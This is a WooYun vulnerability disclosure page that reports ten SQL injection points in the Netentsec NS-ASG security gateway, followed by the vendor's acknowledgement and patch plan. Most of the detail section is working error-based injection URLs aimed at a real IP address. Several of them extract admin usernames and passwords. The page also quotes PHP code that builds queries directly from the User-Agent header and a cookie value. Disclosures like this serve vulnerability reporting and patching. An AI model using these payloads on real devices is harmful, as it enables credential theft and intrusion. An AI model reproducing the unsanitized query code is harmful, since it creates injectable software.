当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-059000

漏洞标题：网康 NS-ASG 应用安全网关注入漏洞11-20

相关厂商：网康科技

漏洞作者： 小新

提交时间：2014-04-30 17:14

修复时间：2014-06-14 17:15

公开时间：2014-06-14 17:15

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-30： 细节已通知厂商并且等待厂商处理中
2014-05-01： 厂商已经确认，细节仅向厂商公开
2014-05-11： 细节向核心白帽子及相关领域专家公开
2014-05-21： 细节向普通白帽子公开
2014-05-31： 细节向实习白帽子公开
2014-06-14： 细节向公众公开

简要描述：

网康 NS-ASG 应用安全网关注入漏洞合集另外10个注入点，这辈子都不想再看到网康的注入了

详细说明：

1. https://202.113.20.208/vpnweb/resetpwd/resetpwd.php?action=update&UserId=extractvalue(0x1,%20concat(0x1,%20(select%20@@version)))
2. https://202.113.20.208/WebPages/applyhardware.php?action=applyhardware&hard_user=test%2527%20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23
3. https://202.113.20.208/WebPages/singlelogin.php?loginId=1 %20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23&submit=t
4. https://202.113.20.208/admin/add_getlogin.php?SingleLoginId=1 %20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23
5. https://202.113.20.208/admin/add_postlogin.php?SingleLoginId=1 %20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23
6. https://202.113.20.208/admin/count_host.php?search=test'%0aand%0aextractvalue(0x1,concat(0x1,@@version))%0aor'%0a&action=find&begintime=%20'ttest%20--%20%20t
7. https://202.113.20.208/admin/add_ikev2.php?TunnelId=1%20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23
8. https://202.113.20.208/admin/configguide/ipsec_guide_1.php?TunnelId=1%20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23


9. https://202.113.20.208/3g/index.php
  12      $dbh = db_connect();
  13      //璁板綍鎵嬫満鍨嬪彿鍙夾GENT淇℃伅
  14      $AgentContent = $_SERVER['HTTP_USER_AGENT'];
  15      $AcceptContent = $_SERVER['HTTP_ACCEPT'];
  16      $time = date("Y-m-d H:i:s",time());
  17      $insert = "insert into MobileInfoTable values(NULL,'$AgentContent','$AcceptContent','$time');";
  18      db_insert($dbh,$insert,"鎻掑叆鎵嬫満user_agent");
  19      $query="select MingCheng from u_Webconf"; 
  20      
  21      $res = db_query($dbh, $query, "鏌ヨ鍙傛暟"); 
  22      list($MingCheng) = db_fetch_row($res);
  23      $MingCheng=gb2utf8($MingCheng);    
  24      echo "$MingCheng\n";


$_SERVER['HTTP_USER_AGENT']referer注入

10. https://202.113.20.208/include/authrp.php
cookie注入
<?
include("common.inc");
if ( !isset($HTTP_COOKIE_VARS['reachstone_uid']) && !isset($HTTP_COOKIE_VARS['reachstone_uid_bak']))
{
     redirect("/WebPages/login.php");
     exit();
}
/* ---------- authenticate ----------  */
     $uid = $HTTP_COOKIE_VARS['reachstone_uid'];
     if(!$uid)
          $uid = $HTTP_COOKIE_VARS['reachstone_uid_bak'];
     $dbh = db_connect();
     $query="select SessionId from ISCOnLineUser where SessionId=$uid";
     if( $res = db_query($dbh, $query, "检查用户是否已登录") )
     {
          if ( !db_fetch_row($res) )
          {
               redirect("/WebPages/login.php");
               exit();
          }
     }
     else
     {
          redirect("/WebPages/login.php");
          exit();
     }
?>


$HTTP_COOKIE_VARS['reachstone_uid']cookie注入

漏洞证明：

2014-04-30-152233_670x159_scrot.png


2014-04-30-152250_703x148_scrot.png


2014-04-30-152308_696x151_scrot.png


2014-04-30-152325_631x166_scrot.png


2014-04-30-152342_594x159_scrot.png


2014-04-30-152401_754x140_scrot.png


2014-04-30-152421_739x173_scrot.png


2014-04-30-152446_758x204_scrot.png

修复方案：

过滤啊

版权声明：转载请注明来源 小新@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-05-01 22:07

厂商回复：

4月29日，网康收到CNVD漏洞细节通知，迅速启动并同时展开了以下工作：
1.进一步验证漏洞细节，目前已确认所曝漏洞确实存在于ASG产品；
2.对全线产品进行安全自查，重点确认ASG产品是否仍存其它未知漏洞，并验证类似漏洞是否同存于其它产品线，截至目前，自查工作仍在进行中，全线产品暂未发现新的漏洞；
3.开发用于漏洞修补的更新程序，将尽快发布应急补丁包，介时用户可通过操作设备管理界面直接安装该更新程序以对所曝漏洞进行应急性修补；
4.售后服务部通过内部CRM系统导出全部ASG用户名单，并开始逐一联系用户通报漏洞情况，补丁包发布后，将再次逐一通知所有用户及时安装更新，此项工作预计3工作日内完成；
5.为避免统计疏漏，工程部于4月30日16:00向CNVD共享了在线ASG设备的辨识方法，将配合CNVD共同开展在线设备的主动探测工作，一旦发现未更新补丁的在线设备，将联系并协助用户及时更新，此项工作预计10工作日内完成；
6.将尽快向社会开放漏洞提交邮箱，接受第三方机构、白帽子及其它组织、个人向网康提交产品漏洞，向所有帮助网康产品进步的组织和人士表示感谢。

最新状态：

暂无